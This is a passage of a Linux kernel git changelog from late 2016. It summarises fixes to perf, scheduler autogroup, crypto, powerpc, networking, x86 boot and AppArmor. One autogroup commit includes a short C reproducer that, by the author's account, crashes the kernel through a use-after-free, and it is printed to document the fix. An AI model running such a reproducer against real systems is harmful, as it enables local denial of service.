unwinding from random places on the NMI stack. While it was somewhat expected that the event record BP,SP would not match the interrupt BP,SP in that the interrupt is strictly later than the record event, it was overlooked that it could be on an already overwritten stack. Therefore, don't copy the recorded BP,SP over the interrupted BP,SP when we need stack unwinds. Note that its still possible the unwind doesn't full match the actual event, as its entirely possible to have done an (I)RET between record and interrupt, but on average it should still point in the general direction of where the event came from. Also, it's the best we can do, considering. The particular scenario that triggered the bogus NMI stack unwind was a PEBS event with very short period, upon enabling the event at the tail of the PMI handler (FREEZE_ON_PMI is not used), it instantly triggers a record (while still on the NMI stack) which in turn triggers the next PMI. This then causes back-to-back NMIs and we'll try and unwind the stack-frame from the last NMI, which obviously is now overwritten by our own. Analyzed-by: Josh Poimboeuf Reported-by: Vince Weaver Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Stephane Eranian Cc: Thomas Gleixner Cc: davej@codemonkey.org.uk Cc: dvyukov@google.com Cc: stable@vger.kernel.org Fixes: ca037701a025 ("perf, x86: Add PEBS infrastructure") Link: http://lkml.kernel.org/r/20161117171731.GV3157@twins.programming.kicks-ass.net Signed-off-by: Ingo Molnar arch/x86/events/intel/ds.c | 35 +++++++++++++++++++++++------------ arch/x86/events/perf_event.h | 2 +- 2 files changed, 24 insertions(+), 13 deletions(-) commit ae31fe51a3cceaa0cabdb3058f69669ecb47f12e Author: Johannes Weiner Date: Tue Nov 22 10:57:42 2016 +0100 perf/x86: Restore TASK_SIZE check on frame pointer The following commit: 75925e1ad7f5 ("perf/x86: Optimize stack walk user accesses") ... switched from copy_from_user_nmi() to __copy_from_user_nmi() with a manual access_ok() check. Unfortunately, copy_from_user_nmi() does an explicit check against TASK_SIZE, whereas the access_ok() uses whatever the current address limit of the task is. We are getting NMIs when __probe_kernel_read() has switched to KERNEL_DS, and then see vmalloc faults when we access what looks like pointers into vmalloc space: [] WARNING: CPU: 3 PID: 3685731 at arch/x86/mm/fault.c:435 vmalloc_fault+0x289/0x290 [] CPU: 3 PID: 3685731 Comm: sh Tainted: G W 4.6.0-5_fbk1_223_gdbf0f40 #1 [] Call Trace: [] [] dump_stack+0x4d/0x6c [] [] __warn+0xd3/0xf0 [] [] warn_slowpath_null+0x1d/0x20 [] [] vmalloc_fault+0x289/0x290 [] [] __do_page_fault+0x330/0x490 [] [] do_page_fault+0xc/0x10 [] [] page_fault+0x22/0x30 [] [] ? perf_callchain_user+0x100/0x2a0 [] [] get_perf_callchain+0x17f/0x190 [] [] perf_callchain+0x67/0x80 [] [] perf_prepare_sample+0x2a0/0x370 [] [] perf_event_output+0x20/0x60 [] [] ? perf_event_update_userpage+0xc7/0x130 [] [] __perf_event_overflow+0x181/0x1d0 [] [] perf_event_overflow+0x14/0x20 [] [] intel_pmu_handle_irq+0x1d3/0x490 [] [] ? copy_user_enhanced_fast_string+0x7/0x10 [] [] ? vunmap_page_range+0x1a1/0x2f0 [] [] ? unmap_kernel_range_noflush+0x11/0x20 [] [] ? ghes_copy_tofrom_phys+0x116/0x1f0 [] [] ? x2apic_send_IPI_self+0x1d/0x20 [] [] perf_event_nmi_handler+0x2d/0x50 [] [] nmi_handle+0x61/0x110 [] [] default_do_nmi+0x44/0x110 [] [] do_nmi+0xdb/0x150 [] [] end_repeat_nmi+0x1a/0x1e [] [] ? copy_user_enhanced_fast_string+0x7/0x10 [] [] ? copy_user_enhanced_fast_string+0x7/0x10 [] [] ? copy_user_enhanced_fast_string+0x7/0x10 [] <> [] ? __probe_kernel_read+0x3e/0xa0 Fix this by moving the valid_user_frame() check to before the uaccess that loads the return address and the pointer to the next frame. Signed-off-by: Johannes Weiner Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Cc: linux-kernel@vger.kernel.org Fixes: 75925e1ad7f5 ("perf/x86: Optimize stack walk user accesses") Signed-off-by: Ingo Molnar arch/x86/events/core.c | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) commit 8e5bfa8c1f8471aa4a2d30be631ef2b50e10abaf Author: Oleg Nesterov Date: Mon Nov 14 19:46:12 2016 +0100 sched/autogroup: Do not use autogroup->tg in zombie threads Exactly because for_each_thread() in autogroup_move_group() can't see it and update its ->sched_task_group before _put() and possibly free(). So the exiting task needs another sched_move_task() before exit_notify() and we need to re-introduce the PF_EXITING (or similar) check removed by the previous change for another reason. Signed-off-by: Oleg Nesterov Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: hartsjc@redhat.com Cc: vbendel@redhat.com Cc: vlovejoy@redhat.com Link: http://lkml.kernel.org/r/20161114184612.GA15968@redhat.com Signed-off-by: Ingo Molnar include/linux/sched.h | 2 ++ kernel/exit.c | 1 + kernel/sched/auto_group.c | 19 +++++++++++++++++++ 3 files changed, 22 insertions(+) commit 18f649ef344127ef6de23a5a4272dbe2fdb73dde Author: Oleg Nesterov Date: Mon Nov 14 19:46:09 2016 +0100 sched/autogroup: Fix autogroup_move_group() to never skip sched_move_task() The PF_EXITING check in task_wants_autogroup() is no longer needed. Remove it, but see the next patch. However the comment is correct in that autogroup_move_group() must always change task_group() for every thread so the sysctl_ check is very wrong; we can race with cgroups and even sys_setsid() is not safe because a task running with task_group() == ag->tg must participate in refcounting: int main(void) { int sctl = open("/proc/sys/kernel/sched_autogroup_enabled", O_WRONLY); assert(sctl > 0); if (fork()) { wait(NULL); // destroy the child's ag/tg pause(); } assert(pwrite(sctl, "1\n", 2, 0) == 2); assert(setsid() > 0); if (fork()) pause(); kill(getppid(), SIGKILL); sleep(1); // The child has gone, the grandchild runs with kref == 1 assert(pwrite(sctl, "0\n", 2, 0) == 2); assert(setsid() > 0); // runs with the freed ag/tg for (;;) sleep(1); return 0; } crashes the kernel. It doesn't really need sleep(1), it doesn't matter if autogroup_move_group() actually frees the task_group or this happens later. Reported-by: Vern Lovejoy Signed-off-by: Oleg Nesterov Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: hartsjc@redhat.com Cc: vbendel@redhat.com Link: http://lkml.kernel.org/r/20161114184609.GA15965@redhat.com Signed-off-by: Ingo Molnar kernel/sched/auto_group.c | 23 ++++++++++++----------- 1 file changed, 12 insertions(+), 11 deletions(-) commit 9e5f68842276672a05737c23e407250f776cbf35 Author: Nicholas Piggin Date: Tue Nov 22 14:52:22 2016 +1100 powerpc: Fix missing CRCs, add more asm-prototypes.h declarations After patch 4efca4ed0 ("kbuild: modversions for EXPORT_SYMBOL() for asm"), asm exports can get modversions CRCs generated if they have C definitions in asm-prototypes.h. This patch adds missing definitions for 32 and 64 bit allmodconfig builds. Fixes: 9445aa1a3062 ("ppc: move exports to definitions") Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/include/asm/asm-prototypes.h | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit c8467f7a3620698bf3c22f0e199b550fb611a8ae Author: Herbert Xu Date: Mon Nov 21 16:26:19 2016 +0800 crypto: scatterwalk - Remove unnecessary aliasing check in map_and_copy The aliasing check in map_and_copy is no longer necessary because the IPsec ESP code no longer provides an IV that points into the actual request data. As this check is now triggering BUG checks due to the vmalloced stack code, I'm removing it. Reported-by: Eric Biggers Signed-off-by: Herbert Xu crypto/scatterwalk.c | 4 ---- 1 file changed, 4 deletions(-) commit 8acf7a106326eb94e143552de81f34308149121c Author: Herbert Xu Date: Mon Nov 21 15:34:00 2016 +0800 crypto: algif_hash - Fix result clobbering in recvmsg Recently an init call was added to hash_recvmsg so as to reset the hash state in case a sendmsg call was never made. Unfortunately this ended up clobbering the result if the previous sendmsg was done with a MSG_MORE flag. This patch fixes it by excluding that case when we make the init call. Fixes: a8348bca2944 ("algif_hash - Fix NULL hash crash with shash") Reported-by: Patrick Steinhardt Signed-off-by: Herbert Xu crypto/algif_hash.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7a43906f5cbfb74712af168988455e350707e310 Author: Benjamin Herrenschmidt Date: Mon Nov 21 18:08:05 2016 +1100 powerpc: Set missing wakeup bit in LPCR on POWER9 There is a new bit, LPCR_PECE_HVEE (Hypervisor Virtualization Exit Enable), which controls wakeup from STOP states on Hypervisor Virtualization Interrupts (which happen to also be all external interrupts in host or bare metal mode). It needs to be set or we will miss wakeups. Fixes: 9baaef0a22c8 ("powerpc/irq: Add support for HV virtualization interrupts") Cc: stable@vger.kernel.org # v4.8+ Signed-off-by: Benjamin Herrenschmidt [mpe: Rename it to HVEE to match the name in the ISA] Signed-off-by: Michael Ellerman arch/powerpc/include/asm/reg.h | 1 + arch/powerpc/kernel/cpu_setup_power.S | 8 ++++---- 2 files changed, 5 insertions(+), 4 deletions(-) commit 3b404a519815b9820f73f1ecf404e5546c9270ba Merge: 8d1a240 3d40658 Author: Linus Torvalds Date: Mon Nov 21 15:27:41 2016 -0800 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/linux-security Pull apparmor bugfix from James Morris: "This has a fix for a policy replacement bug that is fairly serious for apache mod_apparmor users, as it results in the wrong policy being applied on an network facing service" * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/linux-security: apparmor: fix change_hat not finding hat after policy replacement commit 8d1a2408efa6a5e75f4c968351a240425c3fa0e5 Merge: 27e7ab9 9dd35d6 Author: Linus Torvalds Date: Mon Nov 21 13:56:17 2016 -0800 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/sparc Pull sparc fixes from David Miller: 1) With modern networking cards we can run out of 32-bit DMA space, so support 64-bit DMA addressing when possible on sparc64. From Dave Tushar. 2) Some signal frame validation checks are inverted on sparc32, fix from Andreas Larsson. 3) Lockdep tables can get too large in some circumstances on sparc64, add a way to adjust the size a bit. From Babu Moger. 4) Fix NUMA node probing on some sun4v systems, from Thomas Tai. * git://git.kernel.org/pub/scm/linux/kernel/git/davem/sparc: sparc: drop duplicate header scatterlist.h lockdep: Limit static allocations if PROVE_LOCKING_SMALL is defined config: Adding the new config parameter CONFIG_PROVE_LOCKING_SMALL for sparc sunbmac: Fix compiler warning sunqe: Fix compiler warnings sparc64: Enable 64-bit DMA sparc64: Enable sun4v dma ops to use IOMMU v2 APIs sparc64: Bind PCIe devices to use IOMMU v2 service sparc64: Initialize iommu_map_table and iommu_pool sparc64: Add ATU (new IOMMU) support sparc64: Add FORCE_MAX_ZONEORDER and default to 13 sparc64: fix compile warning section mismatch in find_node() sparc32: Fix inverted invalid_frame_pointer checks on sigreturns sparc64: Fix find_node warning if numa node cannot be found commit effb46b40f8053fd19698daf9e6b5833cabeba29 Author: Mika Westerberg Date: Mon Nov 21 15:33:07 2016 +0200 watchdog: wdat_wdt: Select WATCHDOG_CORE The WDAT watchdog driver uses functionality provided by the watchdog timer core but it did not select it explicitly. This results following linker error when only WDAT_WDT is enabled in Kconfig: drivers/built-in.o: In function `wdat_wdt_probe': drivers/watchdog/wdat_wdt.c:444: undefined reference to `devm_watchdog_register_device' Fix this by explicitly selecting WATCHDOG_CORE when WDAT watchdog driver is enabled. Fixes: 058dfc767008 (ACPI / watchdog: Add support for WDAT hardware watchdog) Reported-by: Vegard Nossum Signed-off-by: Mika Westerberg Reviewed-by: Guenter Roeck Signed-off-by: Rafael J. Wysocki drivers/watchdog/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 27e7ab99db51569886f52f9d025473e9f453a67b Merge: 9c76358 7082c5c Author: Linus Torvalds Date: Mon Nov 21 13:26:28 2016 -0800 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net Pull networking fixes from David Miller: 1) Clear congestion control state when changing algorithms on an existing socket, from Florian Westphal. 2) Fix register bit values in altr_tse_pcs portion of stmmac driver, from Jia Jie Ho. 3) Fix PTP handling in stammc driver for GMAC4, from Giuseppe CAVALLARO. 4) Fix udplite multicast delivery handling, it ignores the udp_table parameter passed into the lookups, from Pablo Neira Ayuso. 5) Synchronize the space estimated by rtnl_vfinfo_size and the space actually used by rtnl_fill_vfinfo. From Sabrina Dubroca. 6) Fix memory leak in fib_info when splitting nodes, from Alexander Duyck. 7) If a driver does a napi_hash_del() explicitily and not via netif_napi_del(), it must perform RCU synchronization as needed. Fix this in virtio-net and bnxt drivers, from Eric Dumazet. 8) Likewise, it is not necessary to invoke napi_hash_del() is we are also doing neif_napi_del() in the same code path. Remove such calls from be2net and cxgb4 drivers, also from Eric Dumazet. 9) Don't allocate an ID in peernet2id_alloc() if the netns is dead, from WANG Cong. 10) Fix OF node and device struct leaks in of_mdio, from Johan Hovold. 11) We cannot cache routes in ip6_tunnel when using inherited traffic classes, from Paolo Abeni. 12) Fix several crashes and leaks in cpsw driver, from Johan Hovold. 13) Splice operations cannot use freezable blocking calls in AF_UNIX, from WANG Cong. 14) Link dump filtering by master device and kind support added an error in loop index updates during the dump if we actually do filter, fix from Zhang Shengju. * git://git.kernel.org/pub/scm/linux/kernel/git/davem/net: (59 commits) tcp: zero ca_priv area when switching cc algorithms net: l2tp: Treat NET_XMIT_CN as success in l2tp_eth_dev_xmit ethernet: stmmac: make DWMAC_STM32 depend on it's associated SoC tipc: eliminate obsolete socket locking policy description rtnl: fix the loop index update error in rtnl_dump_ifinfo() l2tp: fix racy SOCK_ZAPPED flag check in l2tp_ip{,6}_bind() net: macb: add check for dma mapping error in start_xmit() rtnetlink: fix FDB size computation netns: fix get_net_ns_by_fd(int pid) typo af_unix: conditionally use freezable blocking calls in read net: ethernet: ti: cpsw: fix fixed-link phy probe deferral net: ethernet: ti: cpsw: add missing sanity check net: ethernet: ti: cpsw: fix secondary-emac probe error path net: ethernet: ti: cpsw: fix of_node and phydev leaks net: ethernet: ti: cpsw: fix deferred probe net: ethernet: ti: cpsw: fix mdio device reference leak net: ethernet: ti: cpsw: fix bad register access in probe error path net: sky2: Fix shutdown crash cfg80211: limit scan results cache size net sched filters: pass netlink message flags in event notification ... commit 95881a54b8b175be56adbcd86a473d8e8d5be2aa Author: Chen-Yu Tsai Date: Fri Nov 18 15:15:57 2016 +0800 clk: sunxi-ng: sun6i-a31: Enable PLL-MIPI LDOs when ungating it The PLL-MIPI clock is somewhat special as it has its own LDOs which need to be turned on for this PLL to actually work and output a clock signal. Add the 2 LDO enable bits to the gate bits. This fixes issues with the TCON not sending vblank interrupts when the tcon and dot clock are indirectly clocked from the PLL-MIPI clock. Fixes: c6e6c96d8fa6 ("clk: sunxi-ng: Add A31/A31s clocks") Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard drivers/clk/sunxi-ng/ccu-sun6i-a31.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7082c5c3f2407c52022507ffaf644dbbab97a883 Author: Florian Westphal Date: Mon Nov 21 10:08:37 2016 +0100 tcp: zero ca_priv area when switching cc algorithms We need to zero out the private data area when application switches connection to different algorithm (TCP_CONGESTION setsockopt). When congestion ops get assigned at connect time everything is already zeroed because sk_alloc uses GFP_ZERO flag. But in the setsockopt case this contains whatever previous cc placed there. Signed-off-by: Florian Westphal Signed-off-by: David S. Miller net/ipv4/tcp_cong.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 7c6ae610a1f0a9d3cebf790e0245b4e0f76aa86e Author: Gao Feng Date: Mon Nov 21 08:56:21 2016 +0800 net: l2tp: Treat NET_XMIT_CN as success in l2tp_eth_dev_xmit The tc could return NET_XMIT_CN as one congestion notification, but it does not mean the packe is lost. Other modules like ipvlan, macvlan, and others treat NET_XMIT_CN as success too. So l2tp_eth_dev_xmit should add the NET_XMIT_CN check. Signed-off-by: Gao Feng Signed-off-by: David S. Miller net/l2tp/l2tp_eth.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d75a6a0e3933acbba44e4ad8d8f3c4d4f76b6e03 Author: Benjamin Coddington Date: Fri Nov 18 21:11:39 2016 -0500 NFSv4.1: Keep a reference on lock states while checking While walking the list of lock_states, keep a reference on each nfs4_lock_state to be checked, otherwise the lock state could be removed while the check performs TEST_STATEID and possible FREE_STATEID. Signed-off-by: Benjamin Coddington Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) commit 6bc5445c0180a0c7cc61a95d131c7eac66459692 Author: Peter Robinson Date: Sun Nov 20 17:22:38 2016 +0000 ethernet: stmmac: make DWMAC_STM32 depend on it's associated SoC There's not much point, except compile test, enabling the stmmac platform drivers unless the STM32 SoC is enabled. It's not useful without it. Signed-off-by: Peter Robinson Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6929ef385e09c0065b87fda3e7b872a5070ac783 Author: Christoph Hellwig Date: Fri Nov 18 14:09:06 2016 +0100 ahci: always fall back to single-MSI mode Don't try to guess what the errors from pci_irq_alloc_vectors mean, as that's too fragile. Instead always try allocating a single vector when multi-MSI mode fails. This makes various intel Desktop and Laptop CPUs use MSI again. Signed-off-by: Christoph Hellwig Reported-by: Michael Marley Tested-by: Michael Marley Fixes: 0b9e2988ab22 ("ahci: use pci_alloc_irq_vectors") Signed-off-by: Tejun Heo drivers/ata/ahci.c | 7 ------- 1 file changed, 7 deletions(-) commit 9713adc2a1a5488f4889c657a0c0ce0c16056d3c Author: Rafael J. Wysocki Date: Mon Nov 21 14:25:49 2016 +0100 Revert "ACPI: Execute _PTS before system reboot" Revert commit 2c85025c75df (ACPI: Execute _PTS before system reboot) as it is reported to cause poweroff and reboot to hang on Dell Latitude E7250. Link: https://bugzilla.kernel.org/show_bug.cgi?id=187061 Reported-by: Gianpaolo Signed-off-by: Rafael J. Wysocki drivers/acpi/sleep.c | 29 ++++++----------------------- 1 file changed, 6 insertions(+), 23 deletions(-) commit ec638db8cb9ddd5ca08b23f2835b6c9c15eb616d Author: Jacob Pan Date: Mon Nov 14 11:08:45 2016 -0800 thermal/powerclamp: add back module device table Commit 3105f234e0aba43e44e277c20f9b32ee8add43d4 replaced module cpu id table with a cpu feature check, which is logically correct. But we need the module device table to allow module auto loading. Cc: stable@vger.kernel.org # 4.8 Fixes:3105f234 thermal/powerclamp: correct cpu support check Signed-off-by: Jacob Pan Signed-off-by: Zhang Rui drivers/thermal/intel_powerclamp.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit e96271f3ed7e702fa36dd0605c0c5b5f065af816 Author: Alexander Shishkin Date: Fri Nov 18 13:38:43 2016 +0200 perf/core: Fix address filter parser The token table passed into match_token() must be null-terminated, which it currently is not in the perf's address filter string parser, as caught by Vince's perf_fuzzer and KASAN. It doesn't blow up otherwise because of the alignment padding of the table to the next element in the .rodata, which is luck. Fixing by adding a null-terminator to the token table. Reported-by: Vince Weaver Tested-by: Vince Weaver Signed-off-by: Alexander Shishkin Acked-by: Peter Zijlstra (Intel) Cc: Arnaldo Carvalho de Melo Cc: Linus Torvalds Cc: Thomas Gleixner Cc: dvyukov@google.com Cc: stable@vger.kernel.org # v4.7+ Fixes: 375637bc524 ("perf/core: Introduce address range filtering") Link: http://lkml.kernel.org/r/877f81f264.fsf@ashishki-desk.ger.corp.intel.com Signed-off-by: Ingo Molnar kernel/events/core.c | 2 ++ 1 file changed, 2 insertions(+) commit 647f80a1f233bb66fc58fb25664d029e0f12f3ae Author: Jaehoon Chung Date: Mon Nov 21 10:51:48 2016 +0900 mmc: dw_mmc: fix the error handling for dma operation When dma->start is failed,then it has to fall back to PIO mode for current transfer. But Host controller was already set to bits relevant to DMA operation. If needs to use the PIO mode, Host controller has to stop the DMA operation. (It's more stable than now.) When it occurred error, it's not running any request. Fixes: 3fc7eaef44db ("mmc: dw_mmc: Add external dma interface support") Reported-by: Marek Szyprowski Signed-off-by: Jaehoon Chung Reviewed-by: Shawn Lin Cc: # v4.3+ Signed-off-by: Jaehoon Chung Signed-off-by: Ulf Hansson drivers/mmc/host/dw_mmc.c | 1 + 1 file changed, 1 insertion(+) commit e5dce2868818ca8706924f7bdc7939d481eefab0 Author: Andy Shevchenko Date: Fri Nov 18 19:27:23 2016 +0200 x86/platform/intel-mid: Rename platform_wdt to platform_mrfld_wdt Rename the watchdog platform library file to explicitly show that is used only on Intel Merrifield platforms. Signed-off-by: Andy Shevchenko Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20161118172723.179761-1-andriy.shevchenko@linux.intel.com Signed-off-by: Ingo Molnar arch/x86/platform/intel-mid/device_libs/Makefile | 2 +- .../intel-mid/device_libs/platform_mrfld_wdt.c | 85 ++++++++++++++++++++++ .../platform/intel-mid/device_libs/platform_wdt.c | 85 ---------------------- 3 files changed, 86 insertions(+), 86 deletions(-) commit a980ce352fcd408d30b044455e5f6e959d6258b6 Author: H.J. Lu Date: Fri Nov 18 13:07:19 2016 -0800 x86/build: Build compressed x86 kernels as PIE when !CONFIG_RELOCATABLE as well Since the bootloader may load the compressed x86 kernel at any address, it should always be built as PIE, not just when CONFIG_RELOCATABLE=y. Otherwise, linker in binutils 2.27 will optimize GOT load into the absolute address when building the compressed x86 kernel as a non-PIE executable. Signed-off-by: H.J. Lu Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org [ Small wording changes. ] Signed-off-by: Ingo Molnar arch/x86/boot/compressed/Makefile | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 8c5c86fb6abec7d76ec4d51a46714161bceab315 Author: Andy Shevchenko Date: Fri Nov 18 18:52:24 2016 +0200 x86/platform/intel-mid: Register watchdog device after SCU Watchdog device in Intel Tangier relies on SCU to be present. It uses the SCU IPC channel to send commands and receive responses. If watchdog driver is initialized quite before SCU and a command has been sent the result is always an error like the following: intel_mid_wdt: Error stopping watchdog: 0xffffffed Register watchdog device whne SCU is ready to avoid described issue. Signed-off-by: Andy Shevchenko Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20161118165224.175514-1-andriy.shevchenko@linux.intel.com [ Small cleanups. ] Signed-off-by: Ingo Molnar .../platform/intel-mid/device_libs/platform_wdt.c | 32 ++++++++++++++++++---- 1 file changed, 27 insertions(+), 5 deletions(-) commit b22cbe404a9cc3c7949e380fa1861e31934c8978 Author: Yu-cheng Yu Date: Thu Nov 17 09:11:35 2016 -0800 x86/fpu: Fix invalid FPU ptrace state after execve() Robert O'Callahan reported that after an execve PTRACE_GETREGSET NT_X86_XSTATE continues to return the pre-exec register values until the exec'ed task modifies FPU state. The test code is at: https://bugzilla.redhat.com/attachment.cgi?id=1164286. What is happening is fpu__clear() does not properly clear fpstate. Fix it by doing just that. Reported-by: Robert O'Callahan Signed-off-by: Yu-cheng Yu Cc: Cc: Andy Lutomirski Cc: Borislav Petkov Cc: David Hansen Cc: Fenghua Yu Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Ravi V. Shankar Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1479402695-6553-1-git-send-email-yu-cheng.yu@intel.com Signed-off-by: Ingo Molnar arch/x86/kernel/fpu/core.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit ed68d7e9b9cfb64f3045ffbcb108df03c09a0f98 Author: Andy Lutomirski Date: Sat Nov 19 15:37:30 2016 -0800 x86/boot: Fail the boot if !M486 and CPUID is missing Linux will have all kinds of sporadic problems on systems that don't have the CPUID instruction unless CONFIG_M486=y. In particular, sync_core() will explode. I believe that these kernels had a better chance of working before commit 05fb3c199bb0 ("x86/boot: Initialize FPU and X86_FEATURE_ALWAYS even if we don't have CPUID"). That commit inadvertently fixed a serious bug: we used to fail to detect the FPU if CPUID wasn't present. Because we also used to forget to set X86_FEATURE_ALWAYS, we end up with no cpu feature bits set at all. This meant that alternative patching didn't do anything and, if paravirt was disabled, we could plausibly finish the entire boot process without calling sync_core(). Rather than trying to work around these issues, just have the kernel fail loudly if it's running on a CPUID-less 486, doesn't have CPUID, and doesn't have CONFIG_M486 set. Reported-by: Matthew Whitehead Signed-off-by: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/70eac6639f23df8be5fe03fa1984aedd5d40077a.1479598603.git.luto@kernel.org Signed-off-by: Ingo Molnar arch/x86/boot/cpu.c | 6 ++++++ 1 file changed, 6 insertions(+) commit fc0e81b2bea0ebceb71889b61d2240856141c9ee Author: Andy Lutomirski Date: Sat Nov 19 18:42:40 2016 -0800 x86/traps: Ignore high word of regs->cs in early_fixup_exception() On the 80486 DX, it seems that some exceptions may leave garbage in the high bits of CS. This causes sporadic failures in which early_fixup_exception() refuses to fix up an exception. As far as I can tell, this has been buggy for a long time, but the problem seems to have been exacerbated by commits: 1e02ce4cccdc ("x86: Store a per-cpu shadow copy of CR4") e1bfc11c5a6f ("x86/init: Fix cr4_init_shadow() on CR4-less machines") This appears to have broken for as long as we've had early exception handling. [ Note to stable maintainers: This patch is needed all the way back to 3.4, but it will only apply to 4.6 and up, as it depends on commit: 0e861fbb5bda ("x86/head: Move early exception panic code into early_fixup_exception()") If you want to backport to kernels before 4.6, please don't backport the prerequisites (there was a big chain of them that rewrote a lot of the early exception machinery); instead, ask me and I can send you a one-liner that will apply. ] Reported-by: Matthew Whitehead Signed-off-by: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: stable@vger.kernel.org Fixes: 4c5023a3fa2e ("x86-32: Handle exception table entries during early boot") Link: http://lkml.kernel.org/r/cb32c69920e58a1a58e7b5cad975038a69c0ce7d.1479609510.git.luto@kernel.org Signed-off-by: Ingo Molnar arch/x86/mm/extable.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 3d40658c977769ce2138f286cf131537bf68bdfe Author: John Johansen Date: Wed Aug 31 21:10:06 2016 -0700 apparmor: fix change_hat not finding hat after policy replacement After a policy replacement, the task cred may be out of date and need to be updated. However change_hat is using the stale profiles from the out of date cred resulting in either: a stale profile being applied or, incorrect failure when searching for a hat profile as it has been migrated to the new parent profile. Fixes: 01e2b670aa898a39259bc85c78e3d74820f4d3b6 (failure to find hat) Fixes: 898127c34ec03291c86f4ff3856d79e9e18952bc (stale policy being applied) Bugzilla: https://bugzilla.suse.com/show_bug.cgi?id=1000287 Cc: stable@vger.kernel.org Signed-off-by: John Johansen Signed-off-by: James Morris security/apparmor/domain.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 9c763584b7c8911106bb77af7e648bef09af9d80 Author: Linus Torvalds Date: Sun Nov 20 13:52:19 2016 -0800 Linux 4.9-rc6 Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 697ed8d03909140d95484d46d277a4e46d89b0e5 Merge: 77079b1 2a38110 Author: Linus Torvalds Date: Sun Nov 20 10:27:39 2016 -0800 Merge branch 'fixes' of git://git.armlinux.org.uk/~rmk/linux-arm Pull ARM fixes from Russell King: "A few more ARM fixes: - the assembly backtrace code suffers problems with the new printk() implementation which assumes that kernel messages without KERN_CONT should have newlines inserted between them. Fix this. - fix a section naming error - ".init.text" rather than ".text.init" - preallocate DMA debug memory at core_initcall() time rather than fs_initcall(), as we have some core drivers that need to use DMA mapping - and that triggers a kernel warning from the DMA debug code. - fix XIP kernels after the ro_after_init changes made this data permanently read-only" * 'fixes' of git://git.armlinux.org.uk/~rmk/linux-arm: ARM: Fix XIP kernels ARM: 8628/1: dma-mapping: preallocate DMA-debug hash tables in core_initcall ARM: 8624/1: proc-v7m.S: fix init section name ARM: fix backtrace commit 51b9a31c42edcd089f5b229633477ab5128faf03 Author: Jon Paul Maloy Date: Sat Nov 19 14:47:07 2016 -0500 tipc: eliminate obsolete socket locking policy description The comment block in socket.c describing the locking policy is obsolete, and does not reflect current reality. We remove it in this commit. Since the current locking policy is much simpler and follows a mainstream approach, we see no need to add a new description. Signed-off-by: Jon Maloy Signed-off-by: David S. Miller net/tipc/socket.c | 48 +----------------------------------------------- 1 file changed, 1 insertion(+), 47 deletions(-) commit 3f0ae05d6fea0ed5b19efdbc9c9f8e02685a3af3 Author: Zhang Shengju Date: Sat Nov 19 23:28:32 2016 +0800 rtnl: fix the loop index update error in rtnl_dump_ifinfo() If the link is filtered out, loop index should also be updated. If not, loop index will not be correct. Fixes: dc599f76c22b0 ("net: Add support for filtering link dump by master device and kind") Signed-off-by: Zhang Shengju Acked-by: David Ahern Signed-off-by: David S. Miller net/core/rtnetlink.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 32c231164b762dddefa13af5a0101032c70b50ef Author: Guillaume Nault Date: Fri Nov 18 22:13:00 2016 +0100 l2tp: fix racy SOCK_ZAPPED flag check in l2tp_ip{,6}_bind() Lock socket before checking the SOCK_ZAPPED flag in l2tp_ip6_bind(). Without lock, a concurrent call could modify the socket flags between the sock_flag(sk, SOCK_ZAPPED) test and the 